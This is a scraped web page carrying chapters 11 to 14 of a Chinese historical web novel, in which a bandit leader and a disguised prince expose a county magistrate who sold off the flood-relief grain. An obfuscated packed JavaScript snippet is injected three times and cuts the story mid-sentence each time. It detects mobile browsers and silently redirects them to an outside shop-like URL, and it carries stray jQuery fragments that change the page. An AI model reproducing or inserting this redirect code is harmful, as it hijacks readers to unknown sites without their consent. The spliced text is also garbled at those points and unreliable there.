“是不是大英雄,不是你说了算。”岑云度目光柔和,语气不轻不重,“是他们说了算。”
他朝孩子们的方向抬了抬下巴。
万迎雪顺着他的目光看过去。那几个孩子正围在一起,互相分享她给的几颗糖果,阳光落在他们身上,笑声脆生生的,像是洪水不曾来过。
“两颗糖的大英雄吗?”万迎雪收回目光,语气里带着一丝不易察觉的柔软。
“能带他们吃饱饭的大英雄。”岑云度笑着说道。
万迎雪笑了笑,转而问道:“你从县令那里回来,可有什么发现?”
“官粮应该是拿不出来了。”岑云度敛下笑容,正色答道。
他继续说道:“我去的时候,他已经提前得知我的来意,晾了我好半天。”
万迎雪瞥了他一眼。
告状?
但是他又神色正常,这个念头一闪而过。
“在我问及官粮时,他百般推辞,想来粮仓那边出了问题。”
万迎雪拧眉:“粮食一点都拿不出?”
“拿不出。”
“这老东西不会把粮卖了吧。”万迎雪沉声道。
“难说,估计他不是卖了就是贪了。”
万迎雪顿了顿,问道:“你觉得这件事和于应进有关系吗?”
“于应进作为平洲知府,宣县在他的辖区范围内。眼下宣县县令拿不出粮食,大概率离不开于应进的手笔。”岑云度说道。
“要不要今晚去看看?”
“?”
“怎么去看?”岑云度挑眉问道。
万迎雪勾唇一笑,那颗虎牙又露了出来,显得匪气十足:“我自有办法。”
岑云度带着笑意,没有接话。
他一手背在身后,手中摩挲着一串铜制钥匙。
岑云度本想找个理由——比如趁县令不注意偷出来,或者贿赂粮仓保管员拿出来的,随便什么理由都行,然后把这串钥匙交给她。
可一听万迎雪的话,他将钥匙又收了起来,反倒不急着编理由了,倒有些好奇,万迎雪的办法会是什么。
只等今晚一探究竟。
11. 第 11 章
“嘶——”
“哈——”
“嚯——”
“贺锦元,你差不多得了,有这么疼吗?”阙双滢坐在桌边,跷着腿,一脸鄙夷地看着贺锦元在那吱哇乱叫。
方才阙双滢本着人道主义和看热闹的心态,为贺锦元带路到沈不野的营帐。一进帐篷,沈不野就注意到了他肿得跟猪头似的脸,啧啧称奇。
山寨里的小霸王什么时候有过这种待遇?
他当真好奇,是哪个厉害人物把他弄成这样的。
沈不野眼含热切地将他拉到桌前坐下,认真观摩他脸上的巴掌印。
沈不野一边看还一边赞叹:“这力道,这手法,练家子啊!”
阙双滢当即就笑出声。
贺锦元则被他的话气笑了,脸颊抽动,又扯到了伤处,当即疼得“嘶”一声。
他强忍着疼痛,口齿不清地嘲讽道:“多谢夸奖……”
第一遍沈不野还没听清,还是阙双滢给他重新翻译了一下才听懂。
沈不野肃然起敬,捋着那缕白胡子,咋舌道:“是个好苗子,对自己都能下得去这么重的手,日后必有大成就!”
沈不野此人一向不着调,头发胡子都花白的岁数依旧没个稳重样子,整天不是喝酒就是在喝酒的路上。
贺锦元庆幸自己来得还算是时候,沈不野没有喝得酩酊大醉——虽然没喝醉时说的话,与梦话也没区别。
他懒得再与沈不野争辩,抬手指了指自己的脸,又双手合十拜了拜。
沈不野挑挑眉,又捋了捋下巴上的白毛,最终还是没看懂,转头求助阙双滢:“这是什么意思?”
桌边的阙双滢已经笑得前仰后合,平复好气息后,才为沈不野解释:“贺锦元说,他要疼死了,求求你,快点吧,哈哈哈。”
沈不野从容地搬出从不离身的药箱,在里面掏出药膏为贺锦元上药。
他人虽然不着调,但心善,上药还前特意叮嘱贺锦元:“药性烈,忍着点疼。”
贺锦元微微扬起肿胀的脸,心中不屑。
再疼还能疼到哪里去?
只见沈不野不紧不慢地挖了一勺药膏,均匀涂在他那张高高肿起的脸上。
药膏微凉,带着草木的香气,敷上脸颊的那一瞬,肿胀处的烧灼感便褪去了大半。
贺锦元长舒一口气,心中更觉沈不野是夸大其词。
药膏慢慢化开,逐渐渗透进伤口,贺锦元这口气还没舒完,火辣辣的刺痛顿时上涌。
“啊!”
贺锦元惨叫出声。
阙双滢被他吓了一跳。
叫声太过凄惨,她感觉自己的脸好像也痛了起来。
而沈不野则慢条斯理地收拾他的小药箱,眼神都没给一个。
阙双滢瞧瞧沈不野,又看看贺锦元,心中胆寒,默默地把翘起的腿放下了。
这时,她的目光扫见沈不野的药箱。印象中,自从她认识沈不野以来,这只药箱就一直被他从不离身地拎着,甚至私下还有人开玩笑:沈不野是不是睡觉也要抱着它?
夕阳渐落,阳光斜照进营帐内,却被沈不野挡下,只有一丝光线擦着他的边缘,将他的身影倒映在药箱上。
阙双滢想了许久,还是好奇问道:“沈大夫,您好像一直带着这只药箱诶?”
沈不野整理药箱的手一顿,药瓶轻轻碰撞在一起,发出“叮”的声音。
他回过神,笑道:“大夫哪能不带药箱呢。”将话题轻轻揭过。
药箱被仔细盖上,没了沈不野的遮挡,阳光落在那深沉的箱子上。木箱被保养得油光发亮,木质深处似隐隐金丝流动。
虽然阙双滢不认识,但一看就知道材质名贵。
尽管还是心有疑问,她却没有再问出口。
沈不野估算着时间,待痛感差不多消退,递给贺锦元一杯茶水。茶水温热,贺锦元小口小口喝着,眼神空洞,飘在一处。
“回去吧,记得每天上药。”沈不野把一小罐药膏放在桌上,贺锦元当即吓得一激灵。
他磕磕绊绊地说道:“神医,我感觉我已经好了……”说着,将这罐药膏推了回去。
沈不野一乐:“清凉膏。”
贺锦元又伸手挪回药膏:“多谢神医。”
夜幕落下,星子闪烁。
县令府中灯火通明。
一老者背着手,愁容满面地在大堂里来回踱步。
此人正是那日营账内与县令争执的老者。
他转了几圈,终究还是没忍住,几步走到主位前,抱拳皱眉道:“派去拖延席丞诏的人已经联系不上了,他明天一到,粮仓的事哪还瞒得住?”
县令捧着酒壶往嘴里倒:“秋老,你再怎么拖延,席丞诏都要到。曲河决堤,受灾的不止宣县,下游水系的县城皆受影响。朝廷那边盯着呢,你能拖到初一,还能拖到十五吗?”
县令醉眼迷离,晃了晃酒壶,却倒不出一滴。
秋景平垂头,烛火明灭,看不清他的神色。
“那就……杀了他。”
大堂内一时陷入寂静。
“啪”地一声。
酒壶飞来,砸在秋景平脚边,应声碎成了几片。
“秋景平,你是年纪大了,脑子也不清醒了吗,刺杀朝廷命官这种话也说得出口?”
县令一拍桌子,猛地起身,却因喝多了酒,脑子发昏,又跌坐回椅子上。
“你知道席丞诏什么来头吗,你真当他半分家底没有,只凭着一个状元的名头,就能一路顺风顺水地爬到河道总督这个位置?”
“秋景平,说话之前动动脑子!”
“益鸿现在在于应进那边,于应进自身都难保,他还管我们死活?”
“秋老……我们是废棋了。”
秋景平咬了咬牙:“那你怎么办?席丞诏一来,必定要查粮仓,此时粮仓空空如也,你拿什么交差?”
县令闭上眼睛,揉了揉额头:“到时……再说吧。”
过了片刻,县令出声问道:“赈灾粮到哪了?”
“席丞诏亲自押送。”
“哈哈哈!”县令猛然鼓掌大笑,笑过后,又平复下来。
他平静说道:“秋景平,你今年七十有五了吧,辅佐我大半辈子,也辛苦了。”
“回家吧,趁还能动,回家看看妻小,多陪陪他们。”
县令又摸了一壶酒,往嘴里倒去。
秋景平知道这话什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530826|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么意思。
赈灾粮由席丞诏亲自押送,他们根本没发动手脚,偷偷换粮更是不可能。
席丞诏背靠大树,杀不得。
等他到了宣县,倒卖粮食的事必定瞒不住。
到那时,县令必死无疑。
秋景平沉默不语,半晌,他长叹一口气,撩起衣袍,跪在县令面前。布满褶皱的双手扣在地上,缓缓磕了三个头。
“咚”
“咚”
“咚”
那一口气吐出来,整个人像是被抽空了一般。
秋景平没有起身,他撑着地面,似是用尽了毕生的力气,才挤出平稳的声音:“老夫,多谢县令大人赏识……”
县令继续往自己嘴里倒着酒,不做回答。
而此时,房檐上的一片瓦片被轻手轻脚地放了回去。
万迎雪暗骂道:“老东西,还演上主仆情深了。”
岑云度本来正皱着眉,在脑海里回想有关秋景平这人的信息,一听这话,当即轻笑出声。
“笑什么?”万迎雪不解问道。
岑云度嘴角依旧噙着笑:“你说得对。”
“本来就对,”万迎雪抬了抬下巴,神色得意,“他还告老还乡了?说得好像倒卖粮食他没参与似的。等拿到证据,连他一起送进去。”
岑云度看着她这副样子,眼底笑意更甚。
“走吧,去粮仓转转,看能不能找到什么证据。”说着,万迎雪跳下屋檐,刚走了两步,似是又想到什么,退了回来。她抬头看向房檐上的岑云度,语气里带着调侃:“梯子在另一边,要我带你下来吗?”
屋下的少女眼里满是促狭,岑云度似笑非笑,从容起身,一步一顿地走到房檐边上,伸手一撑,翻身而下。
万迎雪瞪大眼睛,故作惊叹:“看不出来啊岑夫子,原来你也不是那么弱不禁风嘛。”
岑云度瞥了一眼万迎雪,谦虚道:“花拳绣腿,不及万姑娘万分之一。”
一副文雅做派,逗得万迎雪笑出声。
她不禁好奇:“你失忆前不会真是个教书先生吧?”
话一出口,她又感觉不妥,哪家的教书先生会被追杀呢?
“不对。”万迎雪侧头打量着岑云度,眉由浓转淡,眉尾渐渐舒朗。垂眸时,睫毛浓密,眼尾微微上挑,衬得人格外温和。
他看着猛然凑近的万迎雪,眼睛微微睁大。
“你是不是给哪家的小郎君或者小娘子教书,人家对你一见倾心,主人家一怒之下把你赶了出来?”万迎雪突然说道。
岑云度哑然失笑:“说不准呢?”
万迎雪了然:“瞧你这样子,我猜得八九不离十了。”
这时,岑云度余光一扫,远处有隐隐光亮,细微的脚步声在黑夜中格外清晰。
他伸手将万迎雪拽进墙角阴影处。
“嘘,巡逻。”
温热的气息扑在耳边,万迎雪眉梢微挑,偏头过来,压低声音道:“岑夫子,放宽心,既然入了我的山寨,你原来的主人家肯定不敢再来追杀你的。”
岑云度轻声回道:“万一来了怎么办?”
万迎雪勾唇一笑,眼睛倒映着月光:“傻啊,当然是跑啊!”
12. 第 12 章
脚步声逐渐清晰,万迎雪和岑云度对视一眼,默契噤声。
来人一前一后,脚步懒散。手中的灯笼摇摇晃晃,照得两人影子在墙上也扭来扭去。
两位仓夫越走越近,交谈声入耳。
走在后面那人,步履虚浮,打着哈欠同前面的人抱怨:“凭什么我们出来巡逻,他们乐得清闲?”
前面的人步子一轻一重,似有些跛脚。他步子沉重,呼吸间透露着疲惫,估计是做了一天的活。他冷哼一声,端起架子训斥道:“你是来干活的还是找清闲的?”说完还不解气,“你整日游手好闲的,好不容易给你找份差事,还这种态度,你对得起你爹娘吗?”
年轻仓夫一噎,撇撇嘴:“舅爷,你倒是说得好听。说是在粮仓当差,他们还真以为你是什么大官,结果就是在粮仓看大门的,连油水都捞不到多少。舅爷,你对得起我爹娘给你的一筐鸡蛋吗?”
“你这孩子怎么说话的!”中年仓夫眼睛一横,抬起胳膊作势要打,却被年轻仓夫躲了过去。
年轻仓夫依旧懒散:“行了舅爷,赶紧巡完我还要去打牌呢。你这么大岁数了,还干一天活,再抻到哪里,我爹娘又得给你一筐鸡蛋。”
他有一搭没一搭地越过中年仓夫,顺手在地上薅了根草,叼嘴里慢悠悠晃走了。
中年仓夫被他甩在身后,叹口气,一瘸一拐地跟上去。
见巡逻走远,两人从阴影中走出。
万迎雪掸掸衣上灰尘,喃喃道:“粮仓守卫这么松懈?”
“仓里又没有粮,守什么?”岑云度淡淡道。
正如那对叔侄说,万迎雪和岑云度一路走来,除了叔侄二人以外,竟然没看见一个守卫。
顺利得万迎雪都有些怀疑了。
她侧头小声道:“老东西不会故意设局等着咱们吧?”
万迎雪微微蹙起眉头,眼中疑惑又警惕,看得岑云度唇角上扬,学着她的样子小声回道:“老东西自身难保,应该不能有诈。”
这一幕刚好被旁边树上的影三看见。
影三的耳力向来灵敏,获取八卦乃是一把好手,殿下影卫队里的八卦都是他传的。
影三无声地撇撇嘴。
‘应该不能有诈’。
肯定不能有诈啊!
老东西白天的时候都被殿下吓成什么样子了,哪里还有胆子使诈?
退一步说,殿下早已安排影卫在粮仓待命,一旦发生混乱,至少也能保护他们成功脱身。
影三摇摇头,目光灼灼,竖起耳朵继续听他家殿下的八卦。
就在影三腹诽的时候,他家殿下已经和万迎雪行至粮仓小门旁。
小门看守抱着胳膊靠在门框上一动不动。
“睡了?”万迎雪疑惑道。
她放轻脚步,走到看守旁边,这人依旧没动。
借着月光,她看清了守卫,顿时满头黑线。
这人的黑眼圈都快到嘴边了,呼噜打得震天响,也不知多久没睡过觉了。
万迎雪一个手刀下去,守卫睡得更深了。
跟在后面的岑云度见她动作干净利落,无声点点头,眼含赞叹,直言她真是个助人为乐的好人。
万迎雪扫了他一眼,研究门锁去了。
木门的红漆已经斑驳,挂着的铜锁更是锈迹斑斑。
她回到看守身边,正准备蹲下身时,岑云度伸手拦住了她。
万迎雪:“?”
岑云度从容蹲下身:“我来。”
影三在树上眼睛都瞪大了,他们殿下什么时候这么会照顾人了?
虽然殿下在皇宫向来是温润如玉的做派,但那是为了明哲保身。
皇帝立储在即,大皇子与三皇子背靠母家势力明争暗斗。
殿下母妃早逝,母家势力在朝堂上也没什么地位,因此两位皇子虽然时不时给他下点绊子,但还不至于水深火热,你死我活。
以往殿下都是多一事不如少一事的,现在竟然主动帮忙了?
影三动了动身子,往前凑了凑。
只见岑云度在看守的身上摸了摸,随后在他的腰间掏出一串铜制钥匙。
黑夜寂静,钥匙叮当撞在一起的声音清晰传进影三耳中。
他看得很清晰,那串钥匙分明是白天从县令那里拿来的!
殿下就这样把钥匙交出去了!?
她就这样接过去了!?
影三一时恍惚,脚步一错,树枝轻轻动了一下。
“哗”地一声。
万迎雪视线猛地扫过来,他心中暗道一声不好。
正巧风起,树枝随风摇曳,沙沙声愈发响亮。
“怎么了?”岑云度随着她的视线看去,远处漆黑的树林枝叶摇动。
影三屏住呼吸,心脏跳动。
她发现了?
完了,这回真是要被影一加训了。
树叶渐渐停止摇动,林中回归寂静。
万迎雪摸索着手里的钥匙,那串钥匙还带着温热。
神色不明。
片刻后,她似有似无地扫过影三藏身的那棵树,瞟了岑云度一眼,说道:“没事,看错了吧。”
钥匙插进铜锁,轻轻转动,锁头应声而开。
万迎雪率先推门进入。
院内空荡,入目是一条石砖铺成的路,右侧是一栋栋粮仓,左侧是一排房屋。
粮仓无人看守,就连灯都没点上。而左侧房屋内,喧嚣声破门而出。
岑云度轻轻关上门,跟着万迎雪一同蹲在窗下。
窗上糊着油纸,厅内的烛火明灭,将屋内人的身影照在窗上。
“胡啦!拿钱拿钱!”一人推牌,声音激动地催促道。
其余人则十分不情愿,有人阴阳怪气道:“老张,你今晚手气真好啊。”
老张一拍桌子:“老李,你这话什么意思!你当我是那个新来的手脚不干净吗?”
老李摸摸鼻子:“别激动啊,我什么也没说嘛。”
其余人连忙来打圆场。
“别急别急,玩个牌,输赢正常。”
“老李,给钱吧,老张没作弊,我们都看见了。”
见剩下两人也不帮自己说话,老李磨磨蹭蹭地从布包里掏出两文钱,扔在老张面前:“给你。”
老张脾气也上来了,当即扔了回去,嘴里骂骂咧咧地拎着衣服摔门而去。
“不玩了!”
余下三人面面相觑。
一人埋怨道:“老张脾气怎么这么大,不就说两句吗?”
老李本来就被老张突然发怒带的情绪也不太好,听见这话,当即有了出气口:“这话怎么不留着当他面说?现在说给我们听有什么用?”
随即,也甩门而去。
剩下一人见两人都走了,牌也打不上了,自觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533889|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无聊,搭话道:“老钱,你这么说话干嘛,有什么意思?”
老钱冷笑一声:“我就看不惯老张那副样子,装得多清高一样,要不是他去监仓官那里检举,我至于沦落成一个库子?”
老孙听见这话有些不耐烦。
什么叫‘沦落’?
要不是他自己偷拿官粮,被人举报,怎么会从县仓大使到库子?
老孙暗自翻了个白眼,拿起旁边的酒壶,给他满上一杯,附和道:“老张这人是有些不合群。”
老钱打牌时就喝了许多,这一口酒下肚,酒意逐渐上头。他大着舌头道:“听说……嗝……席大人,明日就到,到时候……老张他绝对跑不掉。”
老孙疑惑:“席大人和老张有什么关系?”
老钱面色阴狠:“他张老二不是喜欢检举吗?我也让他感受一下!”
“检举什么?”老孙开始还没想明白,突然间想到什么,眼睛猛地睁大,“前两天县令不是派人烧毁入库底册了吗,你怎么还有!”
老钱瞥了他一眼,又给自己灌了一口酒。
窗外,万迎雪看向岑云度,他立即会意,二人躲至角落。
岑云度率先开口:“那人说他还留了一份入库底册,只要拿到册子,县令的罪名就是板上钉钉了。”
万迎雪拧眉:“库子一年可以回家探亲一次,底册他肯定没有带回家去。”
“值守房多人一间,藏那里太过危险,可粮仓这么大,我们该从何找起呢?”
万迎雪正在思索时,半晌没听见岑云度回应,偏头看去,两人四目相对。
万迎雪:“……”
万迎雪:“这样不好吧……”
话虽这么说,眼底却带着一丝兴奋,完全看不出来‘不好’在哪里。
岑云度见她顿时理解了自己的意思,眉眼弯起,又拿出那副书生做派,抱拳垂头温声道:“老大英明。”
万迎雪一乐,活动了下肩膀,与岑云度又悄悄回到窗下。
屋内两人还在喝酒,老张和老李也不知道去了哪里,半天还没回来。
万迎雪一伸手,岑云度适时递上一块石头,她掂了掂,正是趁手。她赞赏地看了他一眼,岑云度微微一笑,深藏功与名。
万迎雪找好方向,手腕一甩,石头脱手而出,直直砸到对面房间的窗户上。
“砰”地一声。
木窗破了个大洞。
巨大的声音当即引起了屋内两人的注意。
老孙站起身,警惕道:“你听到什么声音没?”
老钱脑袋昏昏沉沉,不想多管,摆摆手:“没听见……”
老孙又坐了下去,仔细想了想,还是觉得要去看看,真出什么事就不好了,他嘱咐道:“我先去看看。”
待他一出门,早已埋伏在门口的万迎雪有是一记手刀,老孙眼睛一闭,靠着墙瘫坐下去。
岑云度捋了捋袖口,为万迎雪拉开门。
木门“吱呀”一声,岑云度抬手引她进入厅内。
脚步声起,老钱迷迷糊糊,以为老孙回来了,口齿含糊:“我就说什么事也没有吧,来喝酒……”
话没说完,他就感觉自己脖子上抵了个东西,抬眼看去,吓得他酒意醒了大半。
“好汉饶命,姑奶奶饶命!”
万迎雪招了招手,岑云度一手将人拎起,一手仍然拿东西抵着老钱的喉咙。
13. 第 13 章
两人将老钱拎出门外,拐进角落。
岑云度动作迅速,反手将他掼在墙上。
老钱的脸被他用胳膊狠狠挤压在粗糙的墙面上,尖锐的触感扎在颈侧,疼痛与恐惧交加,吓得他张嘴要喊救命。
“闭嘴,不然弄死你。”万迎雪拿着绳子,将他双手背后捆起,森森说道。
他顿时一个激灵,把‘救命’憋了回去。
老钱怯懦开口:“两位大侠,您绑我做什么啊,我就是一个小库子,什么也不知道啊!”
万迎雪轻笑一声:“怎么这时候就说自己是个什么都不知道的库子了,你不是瞧不起库子吗?”
一听这话,老钱眼珠子一转,哀嚎道:“诶呦,小的哪敢瞧不起库子呢,都是为了生活,讨口饭吃……”
对于他的话,万迎雪不置可否,她绑他的目的也不是争辩这个的。她不耐烦道:“行了,没空听你说这些,入库底册拿出来。”
“入库底册?”
这四个字一出口,老钱大脑如过电般,他下意识地挣扎起身,却被摁了回去。
岑云度冷声道:“老实点。”
颈间的锐器又近了几分,刺破皮肤,鲜血顺着脖颈流进衣服里。老钱猛然清醒,他颤声否认:“大侠,我就是一个库子,入库底册不归我管啊!我哪有什么入库底册?”
老钱不清楚这两个人怎么知道他手里有入库底册,但他清楚,这东西一旦被旁人发现,他就必死无疑了!
什么拿着册子去揭发张老二,不过就是酒喝上头吹牛而已。
他怎么可能真的有胆子敢去揭发?
老钱也不管刺进皮肉的锐器了,连连摇头否认。
本来万迎雪与岑云度二人在密谋时,并不确定老钱是喝酒吹嘘还是真的有底册。
这下,万迎雪见他慌张反应,二人对视一眼,心中有了答案——入库底册确实在他手中。
当即,岑云度力道大了几分:“现在交出来,或许还能晚死几天。不然,你现在就死。”
语气森然,老钱打了个冷颤,他欲哭无泪道:“……就不能不死吗?”
“当然可以。”
万迎雪的声音犹如天籁,老钱眼睛一亮。
她继续说道:“把底册交给我们,也许你真能留一条命呢?”
万迎雪的话说得模棱两可,但老钱有些听出了弦外之音。
曲河决堤,难民聚集的事都传遍了,不少人都在打听赈灾粮什么时候下来,为什么不开仓放粮。
席大人明天一到,必定要来查粮仓。
他只是一名库子,人微言轻,就算他把册子交上去,小命也不一定保得住。
与其去赌几乎不可能的事,倒不如相信这两人。
他安静下来,试探问道:“官家的?”
万迎雪见他这副上道的样子,轻笑一声:“不该问的别问。”
“诶诶诶,好好好!”
老钱心下了然,换了副嘴脸,谄媚道:“大人要的底册小的都留的好好的,就等大人来取呢!”
万迎雪摆摆手,示意岑云度放开他。
岑云度点点头,松开老钱,将手里的树枝一扔,退到万迎雪身边。
老钱不动声色地看了眼地上的树枝,一段似乎还沾着血迹。
就是这节树枝差点要了他的命?
顿时一阵恶寒,他不敢细想,举了举自己被捆住的手,讪笑道:“大人,您看……”
话没说完,万迎雪淡笑不语。
老钱识趣地收回手,点头哈腰:“两位大人跟我来。”
他走在前面为两人带路,几次欲言又止想说些什么,却不敢说出口。
万迎雪二人也只当没看见。
他们跟着老钱左拐右拐,来到了一栋深处的粮仓。
老钱到底还是没憋住,他踌躇半天,开口道:“两位大人,小的想请您到时高抬贵手,给张老二,就是与小的一同做事的库子,留条生路?”
原以为他憋了一路,是想朝他们讨些赏赐,没想到竟然是为张老二求情。
这下万迎雪倒是来了兴趣。
“你不是还要向席大人检举他吗?”万迎雪问道。
老钱先是一愣,然后反应过来:“原来您二位听见了。”
“我们二人本是同乡,他家里父母早逝,全靠着祖母抚养长大。小的们虽然总是唤他老张,其实他比我们年岁都小。他干活最麻利,人也性子直,没少得罪人。”
“小的确实憎恶张老二,要不是他检举我偷拿官粮,我怎么会被贬官?”
“倒卖官粮一事,他没法不参与,家里祖母病了,急着要钱要粮,我们也都知道。平日里打打牌故意输给他几张,权当积德了。”
“但是他要是死了,家里祖母就没人供养了。”
“还请大人们在席大人面前帮忙通融一下,留他一条命。好歹等他为祖母养老送终后,再追补责罚。”
老钱声音依旧颤抖,跪在两人面前不敢抬头,呼吸声在黑夜中格外清晰。
半晌,老钱的心即将凉了下去,就在他以为面前二人不会答应他的时候,万迎雪说道:“可以。”
如平地惊雷,老钱连忙磕头道谢,嘴里念着她的大恩大德。
“行了,带路吧。”岑云度淡淡道。
老钱猛地起身,鞠躬引路,笑容里也带了几分真挚:“您请!”
有了老钱的带路,二人在角落活动的石砖下找到了那本被藏起的底册。册子有些泛黄,带着土腥味。
老钱用袖子擦干净上面的泥土,恭恭敬敬地递了过去。
岑云度接过册子,大致翻了翻,确认无误后,状似无意般道:“县令什么时候开始卖粮的?”
“大致是半月多前。”
万迎雪闻言蹙起眉头。
感觉哪里有些不对劲,但一时又想不起来。
左右东西已经拿到,不便久留,敲打一番后,两人顺着来时路离开粮仓。
老钱见两人走后,他慢慢坐在那块原本藏着底册的地砖旁。
他把地砖严丝合缝地放了回去,准备离开时,又觉得不妥,抓了一把混着稻草碎的土,仔细洒在缝隙处,伸脚跺了跺。
这回才放心离去。
他边走还边念叨着些什么。
声音太小,一直躲在粮仓后面的人无法听清。
他从阴影处走出,沉默地看着老钱离去的背影。
粮仓另一边的房屋。
老孙悠悠转醒,只觉颈后一阵疼痛。
一转头,就看见老钱坐在他旁边,手里一壶酒,往嘴里倒着。
“来一口?”
酒壶递到他面前。
老孙接过,灌了一大口润润嗓子,声音嘶哑道:“我怎么睡这了?”
老钱瞥他一眼:“酒量差就少喝点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535771|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
老孙当即眼睛一瞪:“谁说的?再回去接着喝!“说着,就要拉着老钱回屋。
老钱躲过:“谁跟你喝啊,你这一觉酒都醒了,自己喝去,滚滚滚,我回去睡觉去了。”
他站起身慢悠悠地往值守房走去。
老孙声音飘来:“……老张和老李怎么还不回来?”
这一夜,有人睡得着,有人没得睡。
万迎雪支着头,目光落在桌子上的入库底册,面无表情。
岑云度眉头微蹙,一行行核对着信息,余光中瞥见对面的万迎雪举着毛笔,迟迟没有落下去,他抬头看去。
只见看似神色专注的万迎雪,实际上目光呆滞,手中的毛笔都已经有些干涩。
岑云度眉头当即舒展开,轻笑出声,温声道:“困了先去睡吧,这里有我呢。”
这一天本就劳累,晚上又看这些密密麻麻的字,万迎雪大脑当即便宕机了。
听见岑云度说话,她根本没过脑,眼含疑惑,抬头看向他。
对上那双眼,岑云度心中一跳。
平时冷静、做事游刃有余的山匪老大,此刻也会懵懵的。
不知觉地,语气更温和几分:“你奔走一天了,先休息一会。入库册子我来校对就好。”
这回万迎雪听懂了,她缓缓点头,勉强控制五官,挤出个感激的笑容后,手肘一松,便趴在桌子上陷入睡眠中。
见此情景,岑云度无声失笑。
夏风携着虫鸣蛙鸣交织从窗口钻进屋内,带来一丝清凉。但桌上燃着烛火,驱散了这点凉意,万迎雪睡梦中眉头微微皱起。
岑云度将烛火往自己这边移了移,轻手轻脚地取了蒲扇,缓缓摇动。
蒲扇带着凉风扑在万迎雪身上,她的眉头再次舒展。
与此同时,还有一人也睡不着。
院子内,影一抱着胳膊坐在椅子上,眼睛微微闭起,似是已经入睡般。
仔细看去,却能发现影一抱着胳膊的一只手青筋暴起,紧紧攥着一张纸条。
纸条上赫然是岑云度的字迹。
力透纸背。
‘加练’
而影一的面前则站着一个人。
这人单脚站立在一根小臂粗的棍子上,头顶一盆水,两臂伸直,各提着一桶水。
他额上渗出汗珠,眼睛飘向影一。
见他一动不动,心中一松,悄悄活动了一下手腕。
这时,影一动作迅速,抓起竹竿,向前挥去,只留残影。
“啪”地一声。
竹竿抽在影三身上。
裸露在外的手背上当即出现一道红痕。
影三下意识手一缩,桶中的水便撒在地上。
影一眼都没抬,冷声说道:“重来。”
此话一出,影三顿时哀嚎出声,又被影一的一记眼刀吓了回去。
“再加一个时辰。”
“嘶——”
只听得身后厢房内一阵倒吸冷气的声音。
影一:“睡不着的人,出来跟他一起练。”
话音刚落,后面探头的一排脑袋立马缩了回去。
“砰”
木窗关上。
木窗落锁。
什么?夏夜炎热?
总比在外面站着好吧……
影三看着这一群人,心中更是悲切。
“继续。”影一道。
14. 第 14 章
青山绿水,白云环绕。
众人列队守在岸边,为首的人身着绯红官袍,神情肃穆。
不多时,远处河面上率先出现一面大旗,旗帜飘动,在空中展开,上书“钦命河道总督”。船体顺流而行,船舷两侧挂有数面红边三角旗帜,旗声猎猎。
官船船头上一人负手而立,微风自衣间穿过,绛紫色官袍随风扬起。
岸边众人遥遥看见这道紫色身影,顿时打起精神来。
官船缓缓靠岸,木质阶梯搭起,此人迈步踏上阶梯。
靴子与木阶踩踏声起,众人不敢抬头,一步一步似是踩在众人的心中。
直到最后一阶迈下,为首的绯红官员率先一抖衣袖,抱拳鞠躬,其余官员紧随其后。
队列中一人身着青色官袍,撩起衣袖刚要抬手作揖,余光中瞥见旁边人还在呆愣愣地站着,心中一惊,曲肘撞了他一下。
那人猛然回神。
“拜见席总督。”
众官员齐声道。
席丞诏声音浑厚:“不必多礼。”
为首官员封荣上前一步,开口说道:“下官乃平洲同知,奉命迎接席总督。近日益巡抚来此巡查,于知府奉命陪同,因此今日无法到场,还望恕罪。”
席丞诏摆摆手:“于知府有正事在身,可以理解。”随后他转而问道,“宣县县令何在?”
县令走上前来:“……下官在。”
席丞诏说道:“受灾情况本官已经了解了,现在灾民安置如何?”
县令声音梗塞:“……灾民已经安置在县城门口处高地。”
“水势如何?”
“……水势上涨速度放缓。估计是接连一月的暴雨,引发的河口决堤。下官在决堤当日已经派人去疏通瘀堵的泥沙,估计再有几日水势便能退去。”
席丞诏点点头。
县令心中舒出一口气。
正当县令准备退下时,席丞诏开口了。
“还请县令为本官引路粮仓,朝廷的赈灾粮还在船上,需要送至粮仓保管。”
县令的头似要炸开般,心跳如雷,汗珠当即遍布额头。
“……”
一旁的封荣见席丞诏话已问出,而县令丝毫反应都没有,急忙催促道:“带路啊!”
县令咽了咽口水,尽力让心跳平复下来,他从喉咙里挤出声音:“席大人……一路舟车劳顿,不如……下官先令人带大人前去休息,赈灾粮……由下官亲自押送至粮仓……”
“您看如何?”
县令不敢抬头。
他知道,这话太明显了,可他没别的办法了。
这是他唯一有可能的活路。
他已经提前让人在去粮仓的路上准备好了沙石,粮食一到,就可以掺一起运到粮仓凑个数。
只等席丞诏应下……
一时间无人说话。
封荣站在席丞诏身后,看不清他的神色。
